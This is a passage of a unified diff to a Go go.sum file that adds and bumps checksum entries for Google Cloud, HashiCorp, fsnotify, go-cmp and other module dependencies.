v1.4.0/go.mod h1:MwxuzkumyTX7/a3n37gmsT3py7LIXwrShilPh3P1tR0= +cloud.google.com/go/resourcesettings v1.3.0/go.mod h1:lzew8VfESA5DQ8gdlHwMrqZs1S9V87v3oCnKCWoOuQU= +cloud.google.com/go/resourcesettings v1.4.0/go.mod h1:ldiH9IJpcrlC3VSuCGvjR5of/ezRrOxFtpJoJo5SmXg= +cloud.google.com/go/retail v1.8.0/go.mod h1:QblKS8waDmNUhghY2TI9O3JLlFk8jybHeV4BF19FrE4= +cloud.google.com/go/retail v1.9.0/go.mod h1:g6jb6mKuCS1QKnH/dpu7isX253absFl6iE92nHwlBUY= +cloud.google.com/go/retail v1.10.0/go.mod h1:2gDk9HsL4HMS4oZwz6daui2/jmKvqShXKQuB2RZ+cCc= +cloud.google.com/go/retail v1.11.0/go.mod h1:MBLk1NaWPmh6iVFSz9MeKG/Psyd7TAgm6y/9L2B4x9Y= +cloud.google.com/go/run v0.2.0/go.mod h1:CNtKsTA1sDcnqqIFR3Pb5Tq0usWxJJvsWOCPldRU3Do= +cloud.google.com/go/run v0.3.0/go.mod h1:TuyY1+taHxTjrD0ZFk2iAR+xyOXEA0ztb7U3UNA0zBo= +cloud.google.com/go/scheduler v1.4.0/go.mod h1:drcJBmxF3aqZJRhmkHQ9b3uSSpQoltBPGPxGAWROx6s= +cloud.google.com/go/scheduler v1.5.0/go.mod h1:ri073ym49NW3AfT6DZi21vLZrG07GXr5p3H1KxN5QlI= +cloud.google.com/go/scheduler v1.6.0/go.mod h1:SgeKVM7MIwPn3BqtcBntpLyrIJftQISRrYB5ZtT+KOk= +cloud.google.com/go/scheduler v1.7.0/go.mod h1:jyCiBqWW956uBjjPMMuX09n3x37mtyPJegEWKxRsn44= +cloud.google.com/go/secretmanager v1.6.0/go.mod h1:awVa/OXF6IiyaU1wQ34inzQNc4ISIDIrId8qE5QGgKA= +cloud.google.com/go/secretmanager v1.8.0/go.mod h1:hnVgi/bN5MYHd3Gt0SPuTPPp5ENina1/LxM+2W9U9J4= +cloud.google.com/go/secretmanager v1.9.0/go.mod h1:b71qH2l1yHmWQHt9LC80akm86mX8AL6X1MA01dW8ht4= +cloud.google.com/go/security v1.5.0/go.mod h1:lgxGdyOKKjHL4YG3/YwIL2zLqMFCKs0UbQwgyZmfJl4= +cloud.google.com/go/security v1.7.0/go.mod h1:mZklORHl6Bg7CNnnjLH//0UlAlaXqiG7Lb9PsPXLfD0= +cloud.google.com/go/security v1.8.0/go.mod h1:hAQOwgmaHhztFhiQ41CjDODdWP0+AE1B3sX4OFlq+GU= +cloud.google.com/go/security v1.9.0/go.mod h1:6Ta1bO8LXI89nZnmnsZGp9lVoVWXqsVbIq/t9dzI+2Q= +cloud.google.com/go/security v1.10.0/go.mod h1:QtOMZByJVlibUT2h9afNDWRZ1G96gVywH8T5GUSb9IA= +cloud.google.com/go/securitycenter v1.13.0/go.mod h1:cv5qNAqjY84FCN6Y9z28WlkKXyWsgLO832YiWwkCWcU= +cloud.google.com/go/securitycenter v1.14.0/go.mod h1:gZLAhtyKv85n52XYWt6RmeBdydyxfPeTrpToDPw4Auc= +cloud.google.com/go/securitycenter v1.15.0/go.mod h1:PeKJ0t8MoFmmXLXWm41JidyzI3PJjd8sXWaVqg43WWk= +cloud.google.com/go/securitycenter v1.16.0/go.mod h1:Q9GMaLQFUD+5ZTabrbujNWLtSLZIZF7SAR0wWECrjdk= +cloud.google.com/go/servicecontrol v1.4.0/go.mod h1:o0hUSJ1TXJAmi/7fLJAedOovnujSEvjKCAFNXPQ1RaU= +cloud.google.com/go/servicecontrol v1.5.0/go.mod h1:qM0CnXHhyqKVuiZnGKrIurvVImCs8gmqWsDoqe9sU1s= +cloud.google.com/go/servicedirectory v1.4.0/go.mod h1:gH1MUaZCgtP7qQiI+F+A+OpeKF/HQWgtAddhTbhL2bs= +cloud.google.com/go/servicedirectory v1.5.0/go.mod h1:QMKFL0NUySbpZJ1UZs3oFAmdvVxhhxB6eJ/Vlp73dfg= +cloud.google.com/go/servicedirectory v1.6.0/go.mod h1:pUlbnWsLH9c13yGkxCmfumWEPjsRs1RlmJ4pqiNjVL4= +cloud.google.com/go/servicedirectory v1.7.0/go.mod h1:5p/U5oyvgYGYejufvxhgwjL8UVXjkuw7q5XcG10wx1U= +cloud.google.com/go/servicemanagement v1.4.0/go.mod h1:d8t8MDbezI7Z2R1O/wu8oTggo3BI2GKYbdG4y/SJTco= +cloud.google.com/go/servicemanagement v1.5.0/go.mod h1:XGaCRe57kfqu4+lRxaFEAuqmjzF0r+gWHjWqKqBvKFo= +cloud.google.com/go/serviceusage v1.3.0/go.mod h1:Hya1cozXM4SeSKTAgGXgj97GlqUvF5JaoXacR1JTP/E= +cloud.google.com/go/serviceusage v1.4.0/go.mod h1:SB4yxXSaYVuUBYUml6qklyONXNLt83U0Rb+CXyhjEeU= +cloud.google.com/go/shell v1.3.0/go.mod h1:VZ9HmRjZBsjLGXusm7K5Q5lzzByZmJHf1d0IWHEN5X4= +cloud.google.com/go/shell v1.4.0/go.mod h1:HDxPzZf3GkDdhExzD/gs8Grqk+dmYcEjGShZgYa9URw= +cloud.google.com/go/spanner v1.41.0/go.mod h1:MLYDBJR/dY4Wt7ZaMIQ7rXOTLjYrmxLE/5ve9vFfWos= +cloud.google.com/go/speech v1.6.0/go.mod h1:79tcr4FHCimOp56lwC01xnt/WPJZc4v3gzyT7FoBkCM= +cloud.google.com/go/speech v1.7.0/go.mod h1:KptqL+BAQIhMsj1kOP2la5DSEEerPDuOP/2mmkhHhZQ= +cloud.google.com/go/speech v1.8.0/go.mod h1:9bYIl1/tjsAnMgKGHKmBZzXKEkGgtU+MpdDPTE9f7y0= +cloud.google.com/go/speech v1.9.0/go.mod h1:xQ0jTcmnRFFM2RfX/U+rk6FQNUF6DQlydUSyoooSpco= cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= +cloud.google.com/go/storage v1.22.1/go.mod h1:S8N1cAStu7BOeFfE8KAQzmyyLkK8p/vmRq6kuBTW58Y= +cloud.google.com/go/storage v1.23.0/go.mod h1:vOEEDNFnciUMhBeT6hsJIn3ieU5cFRmzeLgDvXzfIXc= +cloud.google.com/go/storage v1.27.0/go.mod h1:x9DOL8TK/ygDUMieqwfhdpQryTeEkhGKMi80i/iqR2s= +cloud.google.com/go/storagetransfer v1.5.0/go.mod h1:dxNzUopWy7RQevYFHewchb29POFv3/AaBgnhqzqiK0w= +cloud.google.com/go/storagetransfer v1.6.0/go.mod h1:y77xm4CQV/ZhFZH75PLEXY0ROiS7Gh6pSKrM8dJyg6I= +cloud.google.com/go/talent v1.1.0/go.mod h1:Vl4pt9jiHKvOgF9KoZo6Kob9oV4lwd/ZD5Cto54zDRw= +cloud.google.com/go/talent v1.2.0/go.mod h1:MoNF9bhFQbiJ6eFD3uSsg0uBALw4n4gaCaEjBw9zo8g= +cloud.google.com/go/talent v1.3.0/go.mod h1:CmcxwJ/PKfRgd1pBjQgU6W3YBwiewmUzQYH5HHmSCmM= +cloud.google.com/go/talent v1.4.0/go.mod h1:ezFtAgVuRf8jRsvyE6EwmbTK5LKciD4KVnHuDEFmOOA= +cloud.google.com/go/texttospeech v1.4.0/go.mod h1:FX8HQHA6sEpJ7rCMSfXuzBcysDAuWusNNNvN9FELDd8= +cloud.google.com/go/texttospeech v1.5.0/go.mod h1:oKPLhR4n4ZdQqWKURdwxMy0uiTS1xU161C8W57Wkea4= +cloud.google.com/go/tpu v1.3.0/go.mod h1:aJIManG0o20tfDQlRIej44FcwGGl/cD0oiRyMKG19IQ= +cloud.google.com/go/tpu v1.4.0/go.mod h1:mjZaX8p0VBgllCzF6wcU2ovUXN9TONFLd7iz227X2Xg= +cloud.google.com/go/trace v1.3.0/go.mod h1:FFUE83d9Ca57C+K8rDl/Ih8LwOzWIV1krKgxg6N0G28= +cloud.google.com/go/trace v1.4.0/go.mod h1:UG0v8UBqzusp+z63o7FK74SdFE+AXpCLdFb1rshXG+Y= +cloud.google.com/go/translate v1.3.0/go.mod h1:gzMUwRjvOqj5i69y/LYLd8RrNQk+hOmIXTi9+nb3Djs= +cloud.google.com/go/translate v1.4.0/go.mod h1:06Dn/ppvLD6WvA5Rhdp029IX2Mi3Mn7fpMRLPvXT5Wg= +cloud.google.com/go/video v1.8.0/go.mod h1:sTzKFc0bUSByE8Yoh8X0mn8bMymItVGPfTuUBUyRgxk= +cloud.google.com/go/video v1.9.0/go.mod h1:0RhNKFRF5v92f8dQt0yhaHrEuH95m068JYOvLZYnJSw= +cloud.google.com/go/videointelligence v1.6.0/go.mod h1:w0DIDlVRKtwPCn/C4iwZIJdvC69yInhW0cfi+p546uU= +cloud.google.com/go/videointelligence v1.7.0/go.mod h1:k8pI/1wAhjznARtVT9U1llUaFNPh7muw8QyOUpavru4= +cloud.google.com/go/videointelligence v1.8.0/go.mod h1:dIcCn4gVDdS7yte/w+koiXn5dWVplOZkE+xwG9FgK+M= +cloud.google.com/go/videointelligence v1.9.0/go.mod h1:29lVRMPDYHikk3v8EdPSaL8Ku+eMzDljjuvRs105XoU= +cloud.google.com/go/vision v1.2.0/go.mod h1:SmNwgObm5DpFBme2xpyOyasvBc1aPdjvMk2bBk0tKD0= +cloud.google.com/go/vision/v2 v2.2.0/go.mod h1:uCdV4PpN1S0jyCyq8sIM42v2Y6zOLkZs+4R9LrGYwFo= +cloud.google.com/go/vision/v2 v2.3.0/go.mod h1:UO61abBx9QRMFkNBbf1D8B1LXdS2cGiiCRx0vSpZoUo= +cloud.google.com/go/vision/v2 v2.4.0/go.mod h1:VtI579ll9RpVTrdKdkMzckdnwMyX2JILb+MhPqRbPsY= +cloud.google.com/go/vision/v2 v2.5.0/go.mod h1:MmaezXOOE+IWa+cS7OhRRLK2cNv1ZL98zhqFFZaaH2E= +cloud.google.com/go/vmmigration v1.2.0/go.mod h1:IRf0o7myyWFSmVR1ItrBSFLFD/rJkfDCUTO4vLlJvsE= +cloud.google.com/go/vmmigration v1.3.0/go.mod h1:oGJ6ZgGPQOFdjHuocGcLqX4lc98YQ7Ygq8YQwHh9A7g= +cloud.google.com/go/vmwareengine v0.1.0/go.mod h1:RsdNEf/8UDvKllXhMz5J40XxDrNJNN4sagiox+OI208= +cloud.google.com/go/vpcaccess v1.4.0/go.mod h1:aQHVbTWDYUR1EbTApSVvMq1EnT57ppDmQzZ3imqIk4w= +cloud.google.com/go/vpcaccess v1.5.0/go.mod h1:drmg4HLk9NkZpGfCmZ3Tz0Bwnm2+DKqViEpeEpOq0m8= +cloud.google.com/go/webrisk v1.4.0/go.mod h1:Hn8X6Zr+ziE2aNd8SliSDWpEnSS1u4R9+xXZmFiHmGE= +cloud.google.com/go/webrisk v1.5.0/go.mod h1:iPG6fr52Tv7sGk0H6qUFzmL3HHZev1htXuWDEEsqMTg= +cloud.google.com/go/webrisk v1.6.0/go.mod h1:65sW9V9rOosnc9ZY7A7jsy1zoHS5W9IAXv6dGqhMQMc= +cloud.google.com/go/webrisk v1.7.0/go.mod h1:mVMHgEYH0r337nmt1JyLthzMr6YxwN1aAIEc2fTcq7A= +cloud.google.com/go/websecurityscanner v1.3.0/go.mod h1:uImdKm2wyeXQevQJXeh8Uun/Ym1VqworNDlBXQevGMo= +cloud.google.com/go/websecurityscanner v1.4.0/go.mod h1:ebit/Fp0a+FWu5j4JOmJEV8S8CzdTkAS77oDsiSqYWQ= +cloud.google.com/go/workflows v1.6.0/go.mod h1:6t9F5h/unJz41YqfBmqSASJSXccBLtD1Vwf+KmJENM0= +cloud.google.com/go/workflows v1.7.0/go.mod h1:JhSrZuVZWuiDfKEFxU0/F1PQjmpnpcoISEXH2bcHC3M= +cloud.google.com/go/workflows v1.8.0/go.mod h1:ysGhmEajwZxGn1OhGOGKsTXc5PyxOc0vfKf5Af+to4M= +cloud.google.com/go/workflows v1.9.0/go.mod h1:ZGkj1aFIOd9c8Gerkjjq7OW7I5+l6cSvT3ujaO/WwSA= dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= @@ -82,15 +410,17 @@ github.com/aokoli/goutils v1.0.1/go.mod h1:SijmP0QR8LtwsmDs8Yii5Z/S4trXFGFC2oO5g github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o= github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8= github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY= -github.com/armon/go-metrics v0.3.10/go.mod h1:4O98XIr/9W0sxpJ8UaYkvjk10Iff7SnFrb4QAOwNTFc= +github.com/armon/go-metrics v0.4.0/go.mod h1:E6amYzXo6aW1tqzoZGT755KkbgrJsSdpwZ+3JqfkOG4= github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= github.com/armon/go-radix v1.0.0/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= +github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA= github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= +github.com/census-instrumentation/opencensus-proto v0.3.0/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/cespare/xxhash v1.1.0 h1:a6HrQnmkObjyL+Gs60czilIUGqrzKutQD6XZog3p+ko= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= @@ -163,8 +493,8 @@ github.com/frankban/quicktest v1.14.3 h1:FJKSZTDHjyhriyC81FLQ0LY93eSai0ZyR/ZIkd3 github.com/frankban/quicktest v1.14.3/go.mod h1:mgiwOwqx65TmIk1wJ6Q7wvnVMocbUorkibMOrVTHZps= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= -github.com/fsnotify/fsnotify v1.5.4 h1:jRbGcIw6P2Meqdwuo0H1p6JVLbL5DHKAKlYndzMwVZI= -github.com/fsnotify/fsnotify v1.5.4/go.mod h1:OVB6XrOHzAwXMpEM7uPOzcehqUV2UqJxmVXmkdnm1bU= +github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4HY= +github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw= github.com/getkin/kin-openapi v0.61.0/go.mod h1:7Yn5whZr5kJi6t+kShccXS8ae1APpYTW6yheSwk8Yi4= github.com/ghodss/yaml v1.0.0 h1:wQHKEahhL6wmXdzwWG11gIVCkOv05bNOh+Rxn0yngAk= github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= @@ -242,8 +572,9 @@ github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/ github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE= -github.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg= github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= +github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= @@ -270,6 +601,10 @@ github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+ github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/googleapis/enterprise-certificate-proxy v0.0.0-20220520183353-fd19c99a87aa/go.mod h1:17drOmN3MwGY7t0e+Ei9b45FFGA3fBs3x36SsCg1hq8= +github.com/googleapis/enterprise-certificate-proxy v0.1.0/go.mod h1:17drOmN3MwGY7t0e+Ei9b45FFGA3fBs3x36SsCg1hq8= +github.com/googleapis/enterprise-certificate-proxy v0.2.0/go.mod h1:8C0jb7/mgJe/9KK8Lm7X9ctZC2t60YyIpYEI16jx0Qg= +github.com/googleapis/enterprise-certificate-proxy v0.2.1/go.mod h1:AwSRAtLfXpU5Nm3pW+v7rGDHp09LsPtGY9MduiEsR9k= github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= github.com/googleapis/gax-go/v2 v2.1.0/go.mod h1:Q3nei7sK6ybPYH7twZdmQpAd1MKb7pfu6SK+H1/DsU0= @@ -277,6 +612,10 @@ github.com/googleapis/gax-go/v2 v2.1.1/go.mod h1:hddJymUZASv3XPyGkUpKj8pPO47Rmb0 github.com/googleapis/gax-go/v2 v2.2.0/go.mod h1:as02EH8zWkzwUoLbBaFeQ+arQaj/OthfcblKl4IGNaM= github.com/googleapis/gax-go/v2 v2.3.0/go.mod h1:b8LNqSzNabLiUpXKkY7HAR5jr6bIT99EXz9pXxye9YM= github.com/googleapis/gax-go/v2 v2.4.0/go.mod h1:XOTVJ59hdnfJLIP/dh8n5CGryZR2LxK9wbMD5+iXC6c= +github.com/googleapis/gax-go/v2 v2.5.1/go.mod h1:h6B0KMMFNtI2ddbGJn3T3ZbwkeT6yqEF02fYlzkUCyo= +github.com/googleapis/gax-go/v2 v2.6.0/go.mod h1:1mjbznJAPHFpesgE5ucqfYEscaz5kMdcIDwU/6+DDoY= +github.com/googleapis/gax-go/v2 v2.7.0/go.mod h1:TEop28CZZQ2y+c0VxMUmu1lV+fQx57QpBWsYpwqHJx8= +github.com/googleapis/go-type-adapters v1.0.0/go.mod h1:zHW75FOG2aur7gAO2B+MLby+cLsWGBF62rFAi7WjWO4= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So= github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ= @@ -288,8 +627,8 @@ github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgf github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= github.com/grpc-ecosystem/grpc-gateway v1.16.0 h1:gmcG1KaJ57LophUzW0Hy8NmPhnMZb4M0+kPpLofRdBo= github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= -github.com/hashicorp/consul/api v1.12.0/go.mod h1:6pVBMo0ebnYdt2S3H87XhekM/HHrUoTD2XXb/VrZVy0= -github.com/hashicorp/consul/sdk v0.8.0/go.mod h1:GBvyrGALthsZObzUGsfgHZQDXjg4lOjagTIwIR1vPms= +github.com/hashicorp/consul/api v1.18.0/go.mod h1:owRRGJ9M5xReDC5nfT8FTJrNAPbT4NM6p/k+d03q2v4= +github.com/hashicorp/consul/sdk v0.13.0/go.mod h1:0hs/l5fOVhJy/VdcoaNqUSi2AUs95eF5WKtv+EYIQqE= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= github.com/hashicorp/go-cleanhttp v0.5.0/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= @@ -304,9 +643,12 @@ github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+ github.com/hashicorp/go-retryablehttp v0.5.3/go.mod h1:9B5zBasrRhHXnJnui7y6sL7es7NDiJgTc6Er0maI1Xs= github.com/hashicorp/go-rootcerts v1.0.2/go.mod h1:pqUvnprVnM5bf7AOirdbb01K4ccR319Vf4pU3K5EGc8= github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU= +github.com/hashicorp/go-sockaddr v1.0.2/go.mod h1:rB4wwRAUzs07qva3c5SdrY/NEtAUjGlgmH/UkBUC97A= github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4= github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/go-version v1.2.1/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/golang-lru v0.5.4/go.mod h1:iADmTwqILo4mZ8BN3D2Q6+9jd8WM5uGBxy+E8yxSoD4= @@ -314,9 +656,8 @@ github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64= github.com/hashicorp/mdns v1.0.4/go.mod h1:mtBihi+LeNXGtG8L9dX59gAEa12BDtBQSp4v/YAJqrc= -github.com/hashicorp/memberlist v0.3.0/go.mod h1:MS2lj3INKhZjWNqd3N0m3J+Jxf3DAOnAH9VT3Sh9MUE= -github.com/hashicorp/serf v0.9.6/go.mod h1:TXZNMjZQijwlDvp+r0b63xZ45H7JmCmgg4gpTwn9UV4= -github.com/hashicorp/serf v0.9.7/go.mod h1:TXZNMjZQijwlDvp+r0b63xZ45H7JmCmgg4gpTwn9UV4= +github.com/hashicorp/memberlist v0.5.0/go.mod h1:yvyXLpo0QaGE59Y7hDTsTzDD25JYBZ4mHgHUZ8lrOI0= +github.com/hashicorp/serf v0.10.1/go.mod h1:yL2t6BqATOLGc5HF7qbFkTfXoPIY0WZdWHfEvMqbG+4= github.com/huandu/xstrings v1.0.0/go.mod h1:4qWG/gcEcfX4z/mBDHJ++3ReCw9ibxbsNJbcucJdbSo= github.com/huandu/xstrings v1.3.2 h1:L18LIDzqlW6xN2rEkpdV8+oL/IXWJ1APd+vsdYy4Wdw= github.com/huandu/xstrings v1.3.2/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE= @@ -405,6 +746,7 @@ github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= +github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0= github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= @@ -422,8 +764,8 @@ github.com/lib/pq v1.10.7 h1:p7ZhMD+KsSRozJr34udlUrhboJwWAgCg34+/ZZNvZZw= github.com/lib/pq v1.10.7/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= -github.com/magiconair/properties v1.8.6 h1:5ibWZ6iY0NctNGWo87LalDlEZ6R41TqbbDamhfG/Qzo= -github.com/magiconair/properties v1.8.6/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60= +github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY= +github.com/magiconair/properties v1.8.7/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0= github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= github.com/matryer/moq 